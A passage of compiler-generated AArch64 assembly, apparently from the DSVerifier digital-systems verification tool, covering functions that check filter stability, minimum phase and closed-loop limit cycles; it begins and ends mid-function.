ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 312]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1169
bl __stack_chk_fail
.L1169:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 320
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE136:
.size verify_timing_msp_430, .-verify_timing_msp_430
.section .rodata
.align 3
.LC51:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
.align 3
.LC52:
.string "check_stability(_a, ds.a_size)"
.text
.align 2
.global verify_stability
.type verify_stability, %function
verify_stability:
.LFB137:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -128
.cfi_offset 20, -120
.cfi_offset 21, -112
.cfi_offset 22, -104
.cfi_offset 23, -96
.cfi_offset 24, -88
.cfi_offset 25, -80
.cfi_offset 26, -72
.cfi_offset 27, -64
adrp x8, :got:__stack_chk_guard
ldr x8, [x8, #:got_lo12:__stack_chk_guard]
ldr x9, [x8]
str x9, [x29, 136]
mov x9, 0
mov x8, sp
mov x19, x8
adrp x8, overflow_mode
add x8, x8, :lo12:overflow_mode
str wzr, [x8]
adrp x8, ds
add x8, x8, :lo12:ds
ldr w8, [x8, 800]
sxtw x9, w8
sub x9, x9, #1
str x9, [x29, 104]
sxtw x9, w8
mov x6, x9
mov x7, 0
lsr x9, x6, 58
lsl x3, x7, 6
orr x3, x9, x3
lsl x2, x6, 6
sxtw x2, w8
mov x4, x2
mov x5, 0
lsr x2, x4, 58
lsl x1, x5, 6
orr x1, x2, x1
lsl x0, x4, 6
sxtw x0, w8
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1173:
cmp sp, x1
beq .L1174
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1173
.L1174:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1175
str xzr, [sp, 1024]
.L1175:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 112]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 120]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1176:
cmp sp, x1
beq .L1177
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1176
.L1177:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1178
str xzr, [sp, 1024]
.L1178:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 128]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 112]
ldr x0, [x29, 128]
bl fxp_to_double_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w1, w0
ldr x0, [x29, 128]
bl check_stability
cmp w0, 0
bne .L1179
adrp x0, __PRETTY_FUNCTION__.5
add x3, x0, :lo12:__PRETTY_FUNCTION__.5
mov w2, 37
adrp x0, .LC51
add x1, x0, :lo12:.LC51
adrp x0, .LC52
add x0, x0, :lo12:.LC52
bl __assert_fail
.L1179:
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1181
bl __stack_chk_fail
.L1181:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE137:
.size verify_stability, .-verify_stability
.align 2
.global verify_minimum_phase
.type verify_minimum_phase, %function
verify_minimum_phase:
.LFB138:
.cfi_startproc
stp x29, x30, [sp, -144]!
.cfi_def_cfa_offset 144
.cfi_offset 29, -144
.cfi_offset 30, -136
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -128
.cfi_offset 20, -120
.cfi_offset 21, -112
.cfi_offset 22, -104
.cfi_offset 23, -96
.cfi_offset 24, -88
.cfi_offset 25, -80
.cfi_offset 26, -72
.cfi_offset 27, -64
adrp x8, :got:__stack_chk_guard
ldr x8, [x8, #:got_lo12:__stack_chk_guard]
ldr x9, [x8]
str x9, [x29, 136]
mov x9, 0
mov x8, sp
mov x19, x8
adrp x8, overflow_mode
add x8, x8, :lo12:overflow_mode
str wzr, [x8]
adrp x8, ds
add x8, x8, :lo12:ds
ldr w8, [x8, 1608]
sxtw x9, w8
sub x9, x9, #1
str x9, [x29, 104]
sxtw x9, w8
mov x6, x9
mov x7, 0
lsr x9, x6, 58
lsl x3, x7, 6
orr x3, x9, x3
lsl x2, x6, 6
sxtw x2, w8
mov x4, x2
mov x5, 0
lsr x2, x4, 58
lsl x1, x5, 6
orr x1, x2, x1
lsl x0, x4, 6
sxtw x0, w8
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1183:
cmp sp, x1
beq .L1184
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1183
.L1184:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1185
str xzr, [sp, 1024]
.L1185:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 112]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 112]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 120]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1186:
cmp sp, x1
beq .L1187
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1186
.L1187:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1188
str xzr, [sp, 1024]
.L1188:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 128]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 112]
ldr x0, [x29, 128]
bl fxp_to_double_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w1, w0
ldr x0, [x29, 128]
bl check_stability
cmp w0, 0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assert
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 136]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1190
bl __stack_chk_fail
.L1190:
mov w0, w1
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 144
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE138:
.size verify_minimum_phase, .-verify_minimum_phase
.section .rodata
.align 3
.LC53:
.string "Verifying stability for closedloop function"
.text
.align 2
.global verify_stability_closedloop_using_dslib
.type verify_stability_closedloop_using_dslib, %function
verify_stability_closedloop_using_dslib:
.LFB139:
.cfi_startproc
sub sp, sp, #1168
.cfi_def_cfa_offset 1168
stp x29, x30, [sp, 16]
.cfi_offset 29, -1152
.cfi_offset 30, -1144
add x29, sp, 16
.cfi_def_cfa 29, 1152
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
.cfi_offset 19, -1136
.cfi_offset 20, -1128
.cfi_offset 21, -1120
.cfi_offset 22, -1112
.cfi_offset 23, -1104
.cfi_offset 24, -1096
.cfi_offset 25, -1088
.cfi_offset 26, -1080
.cfi_offset 27, -1072
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 1144]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
add x0, x0, 808
str x0, [x29, 248]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
str w0, [x29, 224]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
str x0, [x29, 256]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
str w0, [x29, 228]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 264]
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x3, x9, 6
orr x3, x0, x3
lsl x2, x8, 6
sxtw x0, w1
mov x6, x0
mov x7, 0
lsr x0, x6, 58
lsl x5, x7, 6
orr x5, x0, x5
lsl x4, x6, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1192:
cmp sp, x1
beq .L1193
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1192
.L1193:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1194
str xzr, [sp, 1024]
.L1194:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 272]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 272]
ldr x0, [x29, 248]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 280]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 216]
ldr x4, [x29, 216]
orr x1, x1, x4
str x1, [x29, 216]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 208]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 200]
ldr x4, [x29, 200]
orr x1, x1, x4
str x1, [x29, 200]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 192]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1195:
cmp sp, x1
beq .L1196
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1195
.L1196:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1197
str xzr, [sp, 1024]
.L1197:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 288]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 288]
ldr x0, [x29, 256]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 296]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x27, x4, 6
orr x27, x1, x27
mov x1, x2
lsl x26, x1, 6
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x25, x4, 6
orr x25, x1, x25
mov x1, x2
lsl x24, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1198:
cmp sp, x1
beq .L1199
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1198
.L1199:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1200
str xzr, [sp, 1024]
.L1200:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 304]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 272]
ldr x0, [x29, 304]
bl fxp_to_double_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 312]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x23, x4, 6
orr x23, x1, x23
mov x1, x2
lsl x22, x1, 6
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x21, x4, 6
orr x21, x1, x21
mov x1, x2
lsl x20, x1, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L1201:
cmp sp, x1
beq .L1202
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1201
.L1202:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L1203
str xzr, [sp, 1024]
.L1203:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 320]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 288]
ldr x0, [x29, 320]
bl fxp_to_double_array
adrp x0, plant_cbmc+808
add x0, x0, :lo12:plant_cbmc+808
str x0, [x29, 328]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
str w0, [x29, 232]
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
str x0, [x29, 336]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
str w0, [x29, 236]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 240]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 244]
adrp x0, .LC53
add x0, x0, :lo12:.LC53
bl puts
add x0, x29, 344
ldr w5, [x29, 236]
ldr x4, [x29, 336]
ldr w3, [x29, 232]
ldr x2, [x29, 328]
ldr w1, [x29, 244]
bl check_stability_closedloop
cmp w0, 0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assert
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 1144]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1205
bl __stack_chk_fail
.L1205:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 1168
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
add sp, sp, 1168
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE139:
.size verify_stability_closedloop_using_dslib, .-verify_stability_closedloop_using_dslib
.align 2
.global verify_limit_cycle_closed_loop
.type verify_limit_cycle_closed_loop, %function
verify_limit_cycle_closed_loop:
.LFB140:
.cfi_startproc
sub sp, sp, #2544
.cfi_def_cfa_offset 2544
stp x29, x30, [sp, 16]
.cfi_offset 29, -2528
.cfi_offset 30, -2520
add x29, sp, 16
.cfi_def_cfa 29, 2528
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
.cfi_offset 19, -2512
.cfi_offset 20, -2504
.cfi_offset 21, -2496
.cfi_offset 22, -2488
.cfi_offset 23, -2480
.cfi_offset 24, -2472
.cfi_offset 25, -2464
.cfi_offset 26, -2456
.cfi_offset 27, -2448
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 2520]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, overflow_mode
add x1, x0, :lo12:overflow_mode
mov w0, 3
str w0, [x1]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
add x0, x0, 808
str x0, [x29, 704]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
str w0, [x29, 676]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
str x0, [x29, 712]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
str w0, [x29, 680]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 720]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1207:
cmp sp, x0
beq .L1208
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1207
.L1208:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1209
str xzr, [sp, 1024]
.L1209:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 728]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 728]
ldr x0, [x29, 704]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 736]
sxtw x0, w1
mov x24, x0
mov x25, 0
lsr x0, x24, 58
lsl x21, x25, 6
orr x21, x0, x21
lsl x20, x24, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x23, x27, 6
orr x23, x0, x23
lsl x22, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1210:
cmp sp, x0
beq .L1211
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1210
.L1211:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1212
str xzr, [sp, 1024]
.L1212:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 744]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 744]
ldr x0, [x29, 712]
bl fxp_double_to_fxp_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 752]
sxtw x0, w1
str x0, [x29, 368]
str xzr, [x29, 376]
ldp x2, x3, [x29, 368]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 664]
ldr x4, [x29, 664]
orr x0, x0, x4
str x0, [x29, 664]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 656]
sxtw x0, w1
str x0, [x29, 352]
str xzr, [x29, 360]
ldp x2, x3, [x29, 352]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 648]
ldr x4, [x29, 648]
orr x0, x0, x4
str x0, [x29, 648]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 640]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1213:
cmp sp, x0
beq .L1214
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1213
.L1214:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1215
str xzr, [sp, 1024]
.L1215:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 760]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 728]
ldr x0, [x29, 760]
bl fxp_to_double_array
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 768]
sxtw x0, w1
str x0, [x29, 336]
str xzr, [x29, 344]
ldp x2, x3, [x29, 336]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 632]
ldr x4, [x29, 632]
orr x0, x0, x4
str x0, [x29, 632]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 624]
sxtw x0, w1
str x0, [x29, 320]
str xzr, [x29, 328]
ldp x2, x3, [x29, 320]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 616]
ldr x4, [x29, 616]
orr x0, x0, x4
str x0, [x29, 616]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 608]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1216:
cmp sp, x0
beq .L1217
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1216
.L1217:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1218
str xzr, [sp, 1024]
.L1218:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 776]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 744]
ldr x0, [x29, 776]
bl fxp_to_double_array
adrp x0, plant_cbmc+808
add x0, x0, :lo12:plant_cbmc+808
str x0, [x29, 784]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
str w0, [x29, 684]
adrp x0, plant_cbmc
add x0, x0, :lo12:plant_cbmc
str x0, [x29, 792]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
str w0, [x29, 688]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 1608]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 1608]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 692]
adrp x0, :got:controller
ldr x0, [x0, #:got_lo12:controller]
ldr w1, [x0, 800]
adrp x0, :got:plant
ldr x0, [x0, #:got_lo12:plant]
ldr w0, [x0, 800]
add w0, w1, w0
sub w0, w0, #1
str w0, [x29, 696]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 800]
sxtw x0, w1
str x0, [x29, 304]
str xzr, [x29, 312]
ldp x2, x3, [x29, 304]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 600]
ldr x4, [x29, 600]
orr x0, x0, x4
str x0, [x29, 600]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 592]
sxtw x0, w1
str x0, [x29, 288]
str xzr, [x29, 296]
ldp x2, x3, [x29, 288]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 584]
ldr x4, [x29, 584]
orr x0, x0, x4
str x0, [x29, 584]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 576]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1219:
cmp sp, x0
beq .L1220
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1219
.L1220:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1221
str xzr, [sp, 1024]
.L1221:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 808]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 816]
sxtw x0, w1
str x0, [x29, 272]
str xzr, [x29, 280]
ldp x2, x3, [x29, 272]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 568]
ldr x4, [x29, 568]
orr x0, x0, x4
str x0, [x29, 568]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 560]
sxtw x0, w1
str x0, [x29, 256]
str xzr, [x29, 264]
ldp x2, x3, [x29, 256]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 552]
ldr x4, [x29, 552]
orr x0, x0, x4
str x0, [x29, 552]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 544]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1222:
cmp sp, x0
beq .L1223
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1222
.L1223:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1224
